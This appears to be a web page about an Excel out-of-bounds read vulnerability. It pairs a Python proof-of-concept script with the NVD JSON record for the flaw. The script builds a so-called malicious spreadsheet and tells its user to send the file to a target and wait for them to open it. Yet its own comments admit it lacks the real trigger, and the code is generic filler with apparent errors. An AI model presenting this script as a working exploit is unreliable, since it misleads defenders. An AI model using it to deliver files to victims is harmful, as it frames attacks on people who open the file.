CVE-2025-62202

#!/usr/bin/env python3 # CVE-2025-62202 PoC - Microsoft Office Excel Out-of-bounds Read # This PoC demonstrates the vulnerability concept # Note: Actual exploitation requires specific file format knowledge from docx import Document import struct import os def create_malicious_excel(): """ Create a malicious Excel file that triggers CVE-2025-62202 The file contains specially crafted data designed to cause out-of-bounds read when parsed by Microsoft Office Excel. """ try: # Create a basic Excel file structure from openpyxl import Workbook wb = Workbook() ws = wb.active # Fill cells with data that may trigger parsing issues # In real scenario, this would be binary data targeting # specific parsing functions in Excel for i in range(1, 100): ws[f'A{i}'] = 'A' * 1000 ws[f'B{i}'] = chr(0) * 500 # Null bytes ws[f'C{i}'] = '\xFF' * 500 # Invalid UTF-8 # Add formulas that might trigger parsing vulnerabilities ws['D1'] = '=' + 'A' * 500 # Oversized formula ws['D2'] = '=' + chr(0) * 200 # Formula with null bytes # Save the malicious file output_file = 'CVE-2025-62202-poc.xlsx' wb.save(output_file) print(f"[+] Created malicious Excel file: {output_file}") print(f"[!] This file is designed to trigger out-of-bounds read in Excel") print(f"[!] Send this file to target and wait for them to open it") return output_file except ImportError: print("[-] openpyxl not installed. Using manual XML construction...") create_manual_excel() def create_manual_excel(): """ Manually construct Excel file structure (XLSX is ZIP-based) This creates a minimal malformed Excel file """ import zipfile output_file = 'CVE-2025-62202-poc.xlsx' with zipfile.ZipFile(output_file, 'w', zipfile.ZIP_DEFLATED) as zf: # Create minimal workbook.xml with malformed data workbook_xml = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main"> <sheets> <sheet name="Sheet1" sheetId="1" r:id="rId1"/> </sheets> </workbook>''' zf.writestr('xl/workbook.xml', workbook_xml) # Create sheet with oversized cell content sheet_xml = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <worksheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main"> <sheetData> <row r="1"> <c r="A1" t="str"> <f>''' + 'A' * 1000 + '''</f> <v>''' + chr(0) * 500 + '''</v> </c> </row> </sheetData> </worksheet>''' zf.writestr('xl/worksheets/sheet1.xml', sheet_xml) # Add required content types and relationships content_types = '''<?xml version="1.0" encoding="UTF-8"?> <Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"> <Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/> <Default Extension="xml" ContentType="application/xml"/> <Override PartName="/xl/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/> <Override PartName="/xl/worksheets/sheet1.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml"/> </Types>''' zf.writestr('[Content_Types].xml', content_types) print(f"[+] Created malicious Excel file: {output_file}") return output_file def analyze_vulnerability(): """ Analyze the CVE-2025-62202 vulnerability characteristics """ print("\n=== CVE-2025-62202 Analysis ===") print("Type: Out-of-bounds Read") print("CVSS Score: 7.1 (High)") print("Attack Vector: Local (AV:L)") print("Privileges Required: None (PR:N)") print("User Interaction: Required (UI:R)") print("Confidentiality Impact: High (C:H)") print("Integrity Impact: None (I:N)") print("Availability Impact: High (A:H)") print("\n[!] Attack Requirements:") print(" 1. Attacker creates malicious Excel file") print(" 2. Victim opens the file with vulnerable Excel version") print(" 3. Excel triggers out-of-bounds read during file parsing") print(" 4. Attacker gains access to sensitive memory contents") if __name__ == '__main__': print("CVE-2025-62202 PoC Generator") print("=" * 50) analyze_vulnerability() print("\n[+] Generating malicious Excel file...") create_malicious_excel() print("\n[!] Disclaimer: This PoC is for educational purposes only") print("[!] Do not use for malicious purposes")

{"cve": {"id": "CVE-2025-62202", "sourceIdentifier": "[email protected]", "published": "2025-11-11T18:15:43.693", "lastModified": "2025-11-17T18:01:51.953", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Out-of-bounds read in Microsoft Office Excel allows an unauthorized attacker to disclose information locally."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:H", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:365_apps:-:*:*:*:enterprise:*:x64:*", "matchCriteriaId": "3259EBFE-AE2D-48B8-BE9A-E22BBDB31378"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:365_apps:-:*:*:*:enterprise:*:x86:*", "matchCriteriaId": "CD25F492-9272-4836-832C-8439EBE64CCF"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:excel:2016:*:*:*:*:*:x64:*", "matchCriteriaId": "CD88F667-6773-4DB7-B6C3-9C7B769C0808"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:excel:2016:*:*:*:*:*:x86:*", "matchCriteriaId": "B342EF98-B414-44D0-BAFB-FCA24294EECE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office:2019:*:*:*:*:*:x64:*", "matchCriteriaId": "CF5DDD09-902E-4881-98D0-CB896333B4AA"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office:2019:*:*:*:*:*:x86:*", "matchCriteriaId": "26A3B226-5D7C-4556-9350-5222DC8EFC2C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2021:*:*:*:*:-:x64:*", "matchCriteriaId": "851BAC4E-9965-4F40-9A6C-B73D9004F4C1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2021:*:*:*:*:-:x86:*", "matchCriteriaId": "23B2FA23-76F4-4D83-A718-B8D04D7EA37B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2021:*:*:*:*:macos:*:*", "matchCriteriaId": "BF0E8112-5B6F-4E55-8E40-38ADCF6FC654"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2024:*:*:*:*:-:x64:*", "matchCriteriaId": "D31E509A-0B2E-4B41-88C4-0099E800AFE6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2024:*:*:*:*:-:x86:*", "matchCriteriaId": "017A7041-BEF1-4E4E-AC8A-EFC6AFEB01FE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2024:*:*:*:*:macos:*:*", "matchCriteriaId": "EF3E56B5-E6A6-4061-9380-D421E52B9199"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_online_server:*:*:*:*:*:*:*:*", "versionEndExcluding": "16.0.10417.20068", "matchCriteriaId": "5B5A0D24-857F-4078-A9C3-D4F2EEEF283F"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-62202", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}